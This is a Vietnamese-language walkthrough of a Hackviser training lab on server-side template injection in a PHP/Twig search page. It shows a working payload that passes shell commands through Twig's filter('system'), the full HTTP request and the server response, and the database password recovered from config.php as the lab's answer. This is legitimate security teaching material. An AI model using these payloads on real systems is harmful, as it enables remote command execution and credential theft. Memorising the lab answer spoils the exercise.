Basic SSTI Lab


  • Lướt sơ về Template Engine . Template nó như một cái form mẫu , bạn chỉ cần thay thế 1 vài nội dung trong đó , như 1 tờ đơn xin việc làm . Phần nội dung “Tôi tên là:”, “Lý do:” luôn xuất hiện trong các tờ đơn , đó chính là Template .
  • Có Template rồi thì phải có phần sử lý nó . Như ở kiến thức về XML phải cần XML parser để đọc đọc file xml thì Template cũng cần 1 Template parser . Nhưng ta không gọi nó là Template Parser mà ta gọi nó là Template Engine .
  • Để hiển thị giá trị hay kết quả của 1 biểu thức , câu lệnh ta dùng {{ 7+7 }} Hoặc {{ hostname }}. Template Engine còn có gọi hàm và các phương thức có sẵn , vì thế mà nó có thể bị Injection !
  • Ví dụ trong Twig , Tôi truyền vào biến username={{ [‘pwd’] | filter (”system) }} Thì khi Template đọc được nó sẽ thực thi câu lệnh pwd và gán output cho biến username . Nếu như khi đăng nhập thành công mà trang web xuất ra thông báo “Xin Chào + username” thì có thể bị lộ thông tin thành “Xin Chào /home/Kai0Kid”
  • Đó là sơ lượt về Template Engine và lỗ hỏng SSTI , Xem chi tiết ở Đây!

This lab contains a Server-Side Template Injection (SSTI) vulnerability in a PHP-based web application that uses the Twig template engine. To complete the lab, exploit the SSTI vulnerability in the search box to access the contents of the config.php file. What is the database password in config.php?

  • Ban đầu tôi truy cập trang web mục tiệu thì tôi thấy rằng trang web này có vẻ là 1 công cụ tìm kiếm , nhưng input cái gì thì output cũng là not found !
  • Khi tìm kiếm thì server sẽ gửi 1 đường liên kết và truyền giá trị người dùng vào tham số truy vấn q
https://charmed-tiger-shark.europe1.hackviser.space/?q=kok
  • Từ đó tôi biết rằng nơi để injection chính là q . Tôi mở Burp Suite để thực hiện tấn công SSTI . theo đề bài gợi ý rằng máy chủ này sử dụng template Twig , sau khi tra cứu thì tôi thấy nó có 1 hàm filter , có cấu trúc như sau {{ [‘whoami’] | filter(‘system’) }} . Nếu cho biến q={{ [‘whoami’] | filter(‘system’) }} thì lúc đó kết quả của lệnh whoami sẽ được gán cho biến q .
  • Tôi đã gửi gói tin với payload như sau :
GET /?q={{['cat%20config.php']|filter('system')}} HTTP/1.1
Host: charmed-tiger-shark.europe1.hackviser.space
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://charmed-tiger-shark.europe1.hackviser.space/?q=kai0kid
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
  • Bạn cũng có thể thực hiện mà không cần dùng Burp Suite .
  • Sau khi tôi gửi nó đi thì kết quả trả về như sau :
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 29 Sep 2025 16:01:45 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1171
Connection: keep-alive
Vary: Accept-Encoding

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>Search</title>
  <link rel="stylesheet" href="assets/style.css">
  <link rel="icon" type="image/x-icon" href="assets/favicon.svg">
</head>
<body>
  <main class="card">
    <h1>Search</h1>
    <p class="muted">Search for something.</p>
    <form method="get" action="/">
      <input type="text" name="q" value="{{[&#039;cat config.php&#039;]|filter(&#039;system&#039;)}}" placeholder="Search..." autocomplete="off" />
      <button type="submit">Search</button>
    </form>

                  <div class="result" style="background:#fff;">
          <span class="label">Result</span>
          <span class="value">&lt;?php

$config = [
    &#039;database&#039; =&gt; [
        &#039;host&#039; =&gt; &#039;localhost&#039;,
        &#039;port&#039; =&gt; 3306,
        &#039;username&#039; =&gt; &#039;root&#039;,
        &#039;password&#039; =&gt; &#039;kfqEnLyBrT2JaS&#039;,
        &#039;database&#039; =&gt; &#039;app_db&#039;,
    ],
];

?&gt;Array not found</span>
        </div>
            </main>
</body>
</html>

==> Password is : kfqEnLyBrT2JaS

Basic SSTI Lab

Author

Kai0Kid

Publish Date

09 - 29 - 2025

License

Unlicensed

Avatar
Kai0Kid

Bạn tìm gì ở tôi ?